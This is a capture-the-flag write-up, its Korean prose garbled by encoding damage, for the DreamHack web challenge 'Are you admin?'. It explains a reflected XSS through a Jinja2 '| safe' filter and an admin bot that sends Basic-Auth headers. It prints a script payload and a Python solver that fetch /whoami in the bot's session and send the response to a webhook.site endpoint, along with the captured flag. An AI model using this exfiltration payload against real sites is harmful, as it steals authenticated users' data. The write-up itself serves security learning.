2026-06-04ยท1๋ถ ์ฝ๊ธฐยท
intro ํ์ด์ง์ name์ด `| safe`๋ก ์ด์ค์ผ์ดํ ์์ด ๋ ๋๋๋ reflected XSS. ๋ด์ ๋ชจ๋ ์์ฒญ์ admin Basic-Auth ํค๋๋ฅผ ์๋์ผ๋ก ๋ถ์ด๊ณ ๋ค๋๋ฏ๋ก, ๋ด ์ปจํ ์คํธ์์ /whoami๋ฅผ fetchํ๋ฉด admin์ผ๋ก ์ธ์ฆ๋ผ FLAG๊ฐ ๋์จ๋ค. ์ด๋ฅผ webhook์ผ๋ก ๋นผ๋ธ ๊ณผ์ .
์ด ๊ธ์ด ๋์์ด ๋๋์?
๋ฌธ์ : DreamHack โ Are you admin? ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 1 FLAG:
DH{c5c5945ef44c4aae5b331986ca4e46419582b5405f19ebff8cb08bca07f41e4f}
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Are you admin? |
| ๋์ด๋ | ๐ฅ Bronze 1 |
| ๋ถ๋ฅ | Web (Flask + Selenium ๋ด) |
| ์ ๊ณต ํ์ผ / ์๋ฒ | app.py ๋ฑ ์์ค ์ผ์ฒด / http://<instance-host>:<port>/ (์ธ์คํด์ค๋ง๋ค ๋ณ๊ฒฝ) |
| ํต์ฌ ์ทจ์ฝ์ / ๊ธฐ๋ฒ | reflected XSS๋ก ๋ด์ admin Basic-Auth ํค๋๋ฅผ ๋น๋ ค /whoami ์ ๊ทผ |
"Hmm... You look suspicious. Are you admin?" ํ๋๊ทธ๋ /whoami์ ์๋๋ฐ, ๊ฑฐ๊ธด admin:PASSWORD๋ก Basic ์ธ์ฆ์ ํต๊ณผํด์ผ๋ง ์ด๋ฆฐ๋ค. ๋๋ ๊ทธ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ชจ๋ฅธ๋ค.
ํ์ง๋ง ๋น๋ฐ๋ฒํธ๋ฅผ ์๋ ์ชฝ์ด ํ๋ ์๋ค. ๋ด๊ฐ ์ ๊ณ ํ URL์ admin ์๊ฒฉ์ฆ๋ช
์ ๋ฌ๊ณ ์ง์ ์ด์ด๋ณด๋ ๋ด์ด๋ค. ๊ทธ ๋ด ์์์ ์คํฌ๋ฆฝํธ๋ฅผ ๋๋ฆด ์๋ง ์์ผ๋ฉด, ๋น๋ฐ๋ฒํธ๋ฅผ ๋ชฐ๋ผ๋ ๋ด์ ๊ถํ์ผ๋ก /whoami๋ฅผ ์ฝ์ ์ ์๋ค.

๋ณผ ๊ณณ์ ์ธ ๊ตฐ๋ฐ๋ค.
1) /intro โ name์ด ์ด์ค์ผ์ดํ ์์ด ๋ ๋๋๋ค.
{% if name and detail %}
<p>Hello, my name is <strong>{{ name | safe }}</strong>.</p>
<p>{{ detail }}</p>
{% endif %}detail์ ํ๋ฒํ๊ฒ {{ detail }}์ด๋ผ Jinja2๊ฐ ์๋ ์ด์ค์ผ์ดํํ๋ค. ๊ทธ๋ฐ๋ฐ name์๋ | safe ํํฐ๊ฐ ๋ถ์ด ์๋ค. ์
๋ ฅ์ ๊ทธ๋๋ก HTML๋ก ๋ด๋ณด๋ธ๋ค๋ ๋ป์ด๋ผ, ์ฌ๊ธฐ์ <script>๋ฅผ ๋ฃ์ผ๋ฉด ์คํ๋๋ค. ๋ฐ์ฌํ XSS ์ฑํฌ๋ name์ด๋ค.

2) /report โ ๋ด์ด admin ํค๋๋ฅผ ๋ฌ๊ณ ๋ด URL์ ์ฐ๋ค.
def access_page(name, detail):
user_info = f'admin:{PASSWORD}'
encoded_user_info = b64encode(user_info.encode()).decode()
...
driver.execute_cdp_cmd(
'Network.setExtraHTTPHeaders',
{'headers': {'Authorization': f'Basic {encoded_user_info}'}}
)
driver.execute_cdp_cmd('Network.enable', {})
driver.get("http://127.0.0.1:8000/")
driver.get(f"http://127.0.0.1:8000/intro?name={quote(name)}&detail={quote(detail)}")ํต์ฌ์ setExtraHTTPHeaders๋ค. ์ด๊ฑด ๋ด ๋ธ๋ผ์ฐ์ ๊ฐ ๋ณด๋ด๋ ๋ชจ๋ ์์ฒญ์ Authorization: Basic base64(admin:PASSWORD)๋ฅผ ์๋์ผ๋ก ์น๋๋ค. ํ์ด์ง ๋ก๋๋ , ๊ทธ ํ์ด์ง ์์์ JS๊ฐ ๋์ง๋ fetch๋ ๊ฐ๋ฆฌ์ง ์๋๋ค.
/report์ URL์ ์ ๊ณ ํ๋ฉด ๋ด์ด ๊ทธ ํค๋๋ฅผ ๋จ ์ฑ /intro?name=...์ ์ฐ๋ค. ์ฆ ๋ด XSS๊ฐ admin ์๊ฒฉ์ฆ๋ช
์ด ์ด์์๋ ์ปจํ
์คํธ์์ ์คํ๋๋ค.
3) /whoami โ admin์ด๋ฉด FLAG.
if ((id == 'admin') and (password == '[**REDACTED**]')):
message = FLAG
return render_template('whoami.html', id=id, message=message)
else:
message = "You are guest"๋ด๊ฐ ๊ทธ๋ฅ /whoami๋ฅผ ์ด๋ฉด ํค๋๊ฐ ์์ด guest:guest๋ก ์ฒ๋ฆฌ๋๊ณ "You are guest"๋ง ๋ณธ๋ค.

๋ด์ admin ํค๋๋ฅผ ๋ค๊ณ ์์ผ๋, ๋ด์ด /whoami๋ฅผ fetchํ๋ฉด ์๋ต์ FLAG๊ฐ ๋ด๊ธด๋ค. ์ธ ์กฐ๊ฐ์ด ํ ์ค๋ก ๊ฟฐ์ธ๋ค.

ํ์ด๋ก๋๋ name์ ๋ค์ด๊ฐ๋ค. ๋ด ์์์ /whoami๋ฅผ fetchํ๋ฉด admin ํค๋๊ฐ ์๋์ผ๋ก ๋ถ์ผ๋, ๊ทธ ์๋ต์ ์ธ๋ถ๋ก ํ๋ ค๋ณด๋ด๋ฉด ๋๋ค.
์ด ๋ฌธ์ ์ xss-1์ /memo ๊ฐ์ same-origin ์ ์ฅ์๊ฐ ์๋ค. ๊ทธ๋์ ์์ ์ ์ธ๋ถ endpoint(webhook.site)๋ก ๋ฐ๊ณ , ์ ์ก์ navigator.sendBeacon์ ์ด๋ค. sendBeacon์ ํ์ด์ง๊ฐ ๋ซํ๋ ์์ค์๋ ์์ฒญ์ ๋๊น์ง ๋ณด๋ด์ค์, ๋ด์ด 1์ด ๋ค ์ข
๋ฃ๋๋ ์ด ์ํฉ์ ์ ๋ง๋๋ค.
<script>fetch('/whoami').then(r=>r.text()).then(t=>navigator.sendBeacon('https://webhook.site/<uuid>/',t))</script>/report ํผ์ path๋ ์๋ฒ์์ urlparse โ parse_qs๋ก ์ชผ๊ฐ์ ธ name/detail์ ๋ฝ๋๋ค. ๊ทธ๋ฌ๋ path๋ /intro?name=<URL์ธ์ฝ๋ฉํ ํ์ด๋ก๋>&detail=hi ํํ๋ก ๋ง๋ค์ด ๋ณด๋ธ๋ค. ํ์ด๋ก๋ ์์ &, <, > ๊ฐ์ ๋ฌธ์๊ฐ ์ฟผ๋ฆฌ ํ์ฑ์ ๊นจ์ง ์๋๋ก name ๊ฐ์ ์ธ์ฝ๋ฉํด ๋๋ค.

/report์ ํ์ด๋ก๋๋ฅผ ์ ๊ณ ํด ๋ด์ ๋๋ฆฌ๊ณ , webhook.site API๋ก ๋ด์ด ํ๋ฆฐ /whoami ์๋ต์ ํ์ํ๋ค.
#!/usr/bin/env python3
import re, time, urllib.parse, requests
BASE = "http://host8.dreamhack.games:20744"
WEBHOOK_UUID = "65bd71bc-aa1f-4cbf-88b8-218b56d14fec"
WEBHOOK = f"https://webhook.site/{WEBHOOK_UUID}/"
# name(=XSS ์ฑํฌ) ํ์ด๋ก๋: ๋ด์ด admin ํค๋๋ก /whoami ๋ฅผ ์ฝ์ด webhook ์ผ๋ก ํต์งธ๋ก ํ๋ฆผ
payload = ("<script>fetch('/whoami').then(r=>r.text())"
f".then(t=>navigator.sendBeacon('{WEBHOOK}',t))</script>")
# /report ์ path: urlparseโparse_qs ๋ก name ์ ๋ฝ์ผ๋ฏ๋ก ๊ฐ์ URL ์ธ์ฝ๋ฉ
path = "/intro?name=" + urllib.parse.quote(payload, safe="") + "&detail=hi"
# 1) ๋ด ํธ๋ฆฌ๊ฑฐ
r = requests.post(f"{BASE}/report", data={"path": path}, timeout
[*] /report: Success
[+] FLAG: DH{c5c5945ef44c4aae5b331986ca4e46419582b5405f19ebff8cb08bca07f41e4f}webhook์ ๋์ฐฉํ ๋ณธ๋ฌธ์ ์ด์ด๋ณด๋ฉด, ๋ด์ด admin์ผ๋ก ์ธ์ฆ๋ผ ๋ฐ์ /whoami HTML์ด ๊ทธ๋๋ก ๋ค์ด์๋ค.
<h1>Hello</h1>
<p><strong>ID:</strong> admin</p>
<p><strong>Message:</strong> DH{c5c5945ef44c4aae5b331986ca4e46419582b5405f19ebff8cb08bca07f41e4f}</p>
DH{c5c5945ef44c4aae5b331986ca4e46419582b5405f19ebff8cb08bca07f41e4f}| safe๋ ์๋ ์ด์ค์ผ์ดํ๋ฅผ ๋๋ ์ค์์น๋ค.
Jinja2๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ถ๋ ฅ ๋ณ์๋ฅผ ์ด์ค์ผ์ดํํด์ XSS๋ฅผ ๋ง์์ค๋ค. name์ ๋ถ์ | safe ํ ํ ๋ง์ด ๊ทธ ๋ณดํธ๋ฅผ ์ ํํ ๊ทธ ๋ณ์์์๋ง ๊บผ๋ฒ๋ ธ๋ค. ์ฌ์ฉ์ ์
๋ ฅ์ | safe๋ฅผ ๋ถ์ด๋ ๊ฑด ๊ฑฐ์ ํญ์ ์ฌ๊ณ ๋ก ์ด์ด์ง๋ค.
์๊ฒฉ์ฆ๋ช ์ ํค๋์ ๋ฐ์ ๋์๋ค๋๋ ๋ด์ ๊ทธ ์์ฒด๊ฐ ๊ถํ ๋๋ฆฌ์ธ์ด๋ค.
๋ด์ setExtraHTTPHeaders๋ก admin ํค๋๋ฅผ ๋ชจ๋ ์์ฒญ์ ์๋ ์ฒจ๋ถํ๋ค. ๊ทธ ๋์ ๋ด ์์์ ๋๋ ๋ด fetch('/whoami')์๋ admin ํค๋๊ฐ ๋ถ์๋ค. ๋๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๋๊น์ง ๋ชฐ๋์ง๋ง, ๋น๋ฐ๋ฒํธ๋ฅผ ์๋ ๋ด์๊ฒ ๋์ ์์ฒญ์ ์์ผ ๊ฒฐ๊ณผ๋ง ๋ฐ์๋๋ค.
ํ์น ๋ฐ์ดํฐ์ ์ถ๊ตฌ๋ ์ํฉ์ ๋ง๊ฒ ๊ณ ๋ฅธ๋ค.
๊ฐ์ ์ถ์ฒ์ ์ ์ฅ์๊ฐ ์์ผ๋ฉด ๊ฑฐ๊ธฐ๋ก ํ๋ฆฌ๋ฉด ๋๊ณ (xss-1์ /memo), ์์ผ๋ฉด ์ธ๋ถ endpoint๋ฅผ ์ด๋ค. ๋ด์ด ๊ณง ์ข
๋ฃ๋๋ ํ์ด๋ฐ์ด๋ผ sendBeacon์ฒ๋ผ unload์๋ ์ด์๋จ๋ ์ ์ก์ ๊ณจ๋๋ค. ๊ฐ์ XSS์ฌ๋ ์ถ๊ตฌ ์ค๊ณ๋ ๋งค๋ฒ ๋ค๋ฅด๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ